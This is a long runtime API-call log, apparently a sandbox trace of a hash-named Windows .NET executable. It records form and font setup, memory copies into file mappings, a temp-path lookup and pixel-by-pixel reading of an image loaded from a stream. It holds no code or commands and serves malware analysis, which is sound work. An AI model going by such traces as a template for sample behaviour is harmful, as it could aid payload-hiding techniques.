[0110.722] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.722] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.722] CreateFontIndirectW (lplf=0x6f6d08) returned 0x580a060c [0110.722] CoTaskMemFree (pv=0x6f6d08) [0110.722] GetObjectW (in: h=0x580a060c, c=92, pv=0x19efd8 | out: pv=0x19efd8) returned 92 [0110.722] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ec650 | out: psizl=0x22ec650) returned 1 [0110.722] DeleteObject (ho=0x580a060c) returned 1 [0110.722] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.723] AdjustWindowRectEx (in: lpRect=0x19f024, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f024) returned 1 [0110.728] GdipGetFamilyName (in: family=0x5b70f38, name=0x19ef14, language=0x409 | out: name="Arial") returned 0x0 [0110.728] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.729] CoTaskMemAlloc (cb=0x5c) returned 0x6f6b00 [0110.729] CreateFontIndirectW (lplf=0x6f6b00) returned 0x590a060c [0110.729] CoTaskMemFree (pv=0x6f6b00) [0110.729] GetObjectW (in: h=0x590a060c, c=92, pv=0x19eed8 | out: pv=0x19eed8) returned 92 [0110.729] GetMapMode (hdc=0x4001093b) returned 1 [0110.730] GetTextMetricsW (in: hdc=0x4001093b, lptm=0x19ef00 | out: lptm=0x19ef00) returned 1 [0110.731] DrawTextExW (in: hdc=0x4001093b, lpchText="Chipu and Co.", cchText=13, lprc=0x19f00c, format=0x2400, lpdtp=0x22ec8f4 | out: lpchText="Chipu and Co.", lprc=0x19f00c) returned 24 [0110.830] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.830] AdjustWindowRectEx (in: lpRect=0x19f0f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0f8) returned 1 [0110.830] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.830] AdjustWindowRectEx (in: lpRect=0x19f05c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f05c) returned 1 [0110.830] GdipGetFamilyName (in: family=0x5b751f8, name=0x19f028, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0110.830] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.830] CoTaskMemAlloc (cb=0x5c) returned 0x6f6b00 [0110.831] CreateFontIndirectW (lplf=0x6f6b00) returned 0x160a06b8 [0110.831] CoTaskMemFree (pv=0x6f6b00) [0110.831] GetObjectW (in: h=0x160a06b8, c=92, pv=0x19efec | out: pv=0x19efec) returned 92 [0110.831] SelectObject (hdc=0x4001093b, h=0x160a06b8) returned 0x4b0a08c7 [0110.831] DeleteObject (ho=0x4b0a08c7) returned 1 [0110.831] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ecb64 | out: psizl=0x22ecb64) returned 1 [0110.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.831] AdjustWindowRectEx (in: lpRect=0x19f130, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f130) returned 1 [0110.832] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19f1f8) returned 0x0 [0110.832] GdipCreateFont (fontFamily=0x5b70f38, emSize=0x417c0000, style=1, unit=0x3, font=0x22ecc6c) returned 0x0 [0110.832] GdipGetFontSize (font=0x5b7b080, size=0x22ecc70) returned 0x0 [0110.832] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.832] AdjustWindowRectEx (in: lpRect=0x19f014, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f014) returned 1 [0110.832] GdipGetFamilyName (in: family=0x5b70f38, name=0x19efe0, language=0x409 | out: name="Arial") returned 0x0 [0110.832] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.832] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.832] CreateFontIndirectW (lplf=0x6f6d08) returned 0x4c0a08c7 [0110.833] CoTaskMemFree (pv=0x6f6d08) [0110.833] GetObjectW (in: h=0x4c0a08c7, c=92, pv=0x19efa4 | out: pv=0x19efa4) returned 92 [0110.833] SelectObject (hdc=0x4001093b, h=0x4c0a08c7) returned 0x160a06b8 [0110.833] DeleteObject (ho=0x160a06b8) returned 1 [0110.833] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22eced8 | out: psizl=0x22eced8) returned 1 [0110.833] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.834] AdjustWindowRectEx (in: lpRect=0x19f0e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e8) returned 1 [0110.834] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.834] AdjustWindowRectEx (in: lpRect=0x19f048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f048) returned 1 [0110.834] GdipGetFamilyName (in: family=0x5b70f38, name=0x19f014, language=0x409 | out: name="Arial") returned 0x0 [0110.834] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.834] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0110.834] CreateFontIndirectW (lplf=0x6f7180) returned 0x170a06b8 [0110.834] CoTaskMemFree (pv=0x6f7180) [0110.834] GetObjectW (in: h=0x170a06b8, c=92, pv=0x19efd8 | out: pv=0x19efd8) returned 92 [0110.834] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ed0b8 | out: psizl=0x22ed0b8) returned 1 [0110.835] DeleteObject (ho=0x170a06b8) returned 1 [0110.835] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.835] AdjustWindowRectEx (in: lpRect=0x19f17c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f17c) returned 1 [0110.835] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.835] AdjustWindowRectEx (in: lpRect=0x19f048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f048) returned 1 [0110.835] GdipGetFamilyName (in: family=0x5b70f38, name=0x19f014, language=0x409 | out: name="Arial") returned 0x0 [0110.836] GetDeviceCaps (hdc=0x4001093b, index=90) returned 96 [0110.836] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0110.836] CreateFontIndirectW (lplf=0x6f7180) returned 0x180a06b8 [0110.836] CoTaskMemFree (pv=0x6f7180) [0110.836] GetObjectW (in: h=0x180a06b8, c=92, pv=0x19efd8 | out: pv=0x19efd8) returned 92 [0110.836] GetTextExtentPoint32W (in: hdc=0x4001093b, lpString="0", c=1, psizl=0x22ed294 | out: psizl=0x22ed294) returned 1 [0110.836] DeleteObject (ho=0x180a06b8) returned 1 [0110.836] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.836] AdjustWindowRectEx (in: lpRect=0x19f024, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f024) returned 1 [0110.837] DrawTextExW (in: hdc=0x4001093b, lpchText="LMS", cchText=3, lprc=0x19f00c, format=0x2400, lpdtp=0x22ed308 | out: lpchText="LMS", lprc=0x19f00c) returned 24 [0110.837] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.837] AdjustWindowRectEx (in: lpRect=0x19f0f8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0f8) returned 1 [0110.837] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.837] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.838] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.838] AdjustWindowRectEx (in: lpRect=0x19f1a8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f1a8) returned 1 [0110.839] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.839] AdjustWindowRectEx (in: lpRect=0x19f1dc, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19f1dc) returned 1 [0110.839] GetSystemMetrics (nIndex=59) returned 1456 [0110.839] GetSystemMetrics (nIndex=60) returned 916 [0110.839] GetSystemMetrics (nIndex=34) returned 136 [0110.839] GetSystemMetrics (nIndex=35) returned 39 [0110.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.840] AdjustWindowRectEx (in: lpRect=0x19f0dc, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19f0dc) returned 1 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.840] GetCurrentThreadId () returned 0x13a0 [0110.841] CreateCompatibleDC (hdc=0x0) returned 0x190106b8 [0110.842] GetDC (hWnd=0x0) returned 0xc0100ae [0110.842] GdipCreateFromHDC (hdc=0xc0100ae, graphics=0x19f02c) returned 0x0 [0110.842] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.842] GdipGetLogFontW (font=0x4a6efc0, graphics=0x5b7f3b8, logfontW=0x6f6d08) returned 0x0 [0110.850] CoTaskMemFree (pv=0x6f6d08) [0110.850] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0110.850] CoTaskMemFree (pv=0x6f7180) [0110.850] CoTaskMemAlloc (cb=0x5c) returned 0x6f6d08 [0110.850] CoTaskMemFree (pv=0x6f6d08) [0110.850] GdipDeleteGraphics (graphics=0x5b7f3b8) returned 0x0 [0110.850] ReleaseDC (hWnd=0x0, hDC=0xc0100ae) returned 1 [0110.851] CoTaskMemAlloc (cb=0x5c) returned 0x6f7180 [0110.851] CreateFontIndirectW (lplf=0x6f7180) returned 0x160a0536 [0110.851] CoTaskMemFree (pv=0x6f7180) [0110.851] SelectObject (hdc=0x190106b8, h=0x160a0536) returned 0x18a0048 [0110.852] GetTextMetricsW (in: hdc=0x190106b8, lptm=0x19f138 | out: lptm=0x19f138) returned 1 [0110.852] GetTextExtentPoint32W (in: hdc=0x190106b8, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x22ed7b0 | out: psizl=0x22ed7b0) returned 1 [0110.852] SelectObject (hdc=0x190106b8, h=0x18a0048) returned 0x160a0536 [0110.852] DeleteDC (hdc=0x190106b8) returned 1 [0110.853] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.853] AdjustWindowRectEx (in: lpRect=0x19f118, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f118) returned 1 [0110.853] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.853] AdjustWindowRectEx (in: lpRect=0x19ef7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19ef7c) returned 1 [0110.853] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.854] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.854] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.854] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.854] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.854] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.854] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.854] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.855] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.855] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.855] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.855] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.855] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.856] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.856] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.856] AdjustWindowRectEx (in: lpRect=0x19f118, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f118) returned 1 [0110.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.856] AdjustWindowRectEx (in: lpRect=0x19ef7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19ef7c) returned 1 [0110.856] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.857] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.857] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.857] AdjustWindowRectEx (in: lpRect=0x19eda4, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19eda4) returned 1 [0110.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.857] AdjustWindowRectEx (in: lpRect=0x19f0e4, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19f0e4) returned 1 [0110.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.857] AdjustWindowRectEx (in: lpRect=0x19ef48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19ef48) returned 1 [0110.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.858] AdjustWindowRectEx (in: lpRect=0x19eda4, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19eda4) returned 1 [0110.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.858] AdjustWindowRectEx (in: lpRect=0x19ee90, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19ee90) returned 1 [0110.858] AdjustWindowRectEx (in: lpRect=0x19f0b0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19f0b0) returned 1 [0110.860] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.861] AdjustWindowRectEx (in: lpRect=0x19ee08, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19ee08) returned 1 [0110.861] AdjustWindowRectEx (in: lpRect=0x19eee8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19eee8) returned 1 [0110.861] GetSystemMetrics (nIndex=34) returned 136 [0110.861] GetSystemMetrics (nIndex=35) returned 39 [0110.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.861] AdjustWindowRectEx (in: lpRect=0x19f078, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19f078) returned 1 [0110.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6e760000 [0110.861] AdjustWindowRectEx (in: lpRect=0x19eedc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19eedc) returned 1 [0110.925] EtwEventRegister (in: ProviderId=0x22ee1f0, EnableCallback=0x474065e, CallbackContext=0x0, RegHandle=0x22ee1cc | out: RegHandle=0x22ee1cc) returned 0x0 [0110.927] EtwEventSetInformation (RegHandle=0x729138, InformationClass=0x32, EventInformation=0x2, InformationLength=0x22ee160) returned 0x0 [0110.940] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe.config", nBufferLength=0x105, lpBuffer=0x19ea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe.config", lpFilePart=0x0) returned 0x69 [0110.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19eeb0) returned 1 [0110.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19ef2c | out: lpFileInformation=0x19ef2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0110.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19eeac) returned 1 [0111.220] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x19f168 | out: pfEnabled=0x19f168) returned 0x0 [0111.462] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa00, lpName=0x0) returned 0x2f8 [0111.462] memcpy (in: _Dst=0x4730000, _Src=0x23008b8, _Size=0xfa00 | out: _Dst=0x4730000) returned 0x4730000 [0111.463] CloseHandle (hObject=0x2f8) returned 1 [0158.309] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e00, lpName=0x0) returned 0x304 [0158.310] memcpy (in: _Dst=0x4760000, _Src=0x2308378, _Size=0x2e00 | out: _Dst=0x4760000) returned 0x4760000 [0158.310] CloseHandle (hObject=0x304) returned 1 [0158.335] CoTaskMemAlloc (cb=0x20c) returned 0x73f670 [0158.336] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x73f670 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0158.337] CoTaskMemFree (pv=0x73f670) [0158.338] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x19def8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0158.340] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x19df0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0158.611] GdipLoadImageFromStream (stream=0x4880030, image=0x19e960) returned 0x0 [0158.953] GdipImageForceValidation (image=0x5b7f3b8) returned 0x0 [0158.965] GdipGetImageType (image=0x5b7f3b8, type=0x19e95c) returned 0x0 [0158.965] GdipGetImageRawFormat (image=0x5b7f3b8, format=0x19e8d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0158.981] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eee8) returned 0x0 [0158.983] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.983] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.983] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=0, color=0x19eed4) returned 0x0 [0158.985] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.985] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.985] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=1, color=0x19eed4) returned 0x0 [0158.985] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.985] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.985] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=2, color=0x19eed4) returned 0x0 [0158.985] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.985] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=3, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=4, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=5, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=6, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=7, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=8, color=0x19eed4) returned 0x0 [0158.986] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.986] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.986] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=9, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=10, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=11, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=12, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=13, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=14, color=0x19eed4) returned 0x0 [0158.987] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.987] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.987] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=15, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=16, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=17, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=18, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=19, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=20, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.988] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.988] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=21, color=0x19eed4) returned 0x0 [0158.988] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=22, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=23, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=24, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=25, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=26, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0158.989] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0158.989] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=0, y=27, color=0x19eed4) returned 0x0 [0158.989] GdipGetImageWidth 